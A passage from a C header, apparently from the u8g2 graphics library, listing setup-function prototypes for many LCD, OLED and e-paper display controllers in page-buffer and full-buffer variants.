u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75256_i2c_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75320_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75320_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75320_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75320_i2c_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75320_i2c_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st75320_i2c_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_nt7534_tg12864r_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_nt7534_tg12864r_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_nt7534_tg12864r_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist3020_erc19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist3020_erc19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist3020_erc19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist3088_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist3088_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist3088_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist7920_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist7920_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ist7920_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sbn1661_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sbn1661_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sbn1661_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1520_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1520_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1520_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ks0108_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ks0108_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ks0108_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ks0108_erm19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ks0108_erm19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ks0108_erm19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t7932_150x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t7932_150x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t7932_150x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_hd44102_100x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_hd44102_100x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_hd44102_100x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_160x160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_160x160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_160x160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_lc7981_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_128x64_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_128x64_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_128x64_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_t6963_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_i2c_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_i2c_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1320_i2c_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_nhd_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_nhd_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_nhd_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1322_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_i2c_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_i2c_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1362_i2c_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1606_172x72_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1606_172x72_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1606_172x72_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_gd_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_ws_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_gd_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_ws_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_gd_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1607_ws_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_il3820_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_il3820_v2_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_il3820_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_il3820_v2_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_il3820_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_il3820_v2_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ra8835_nhd_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ra8835_nhd_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ra8835_nhd_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ra8835_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid 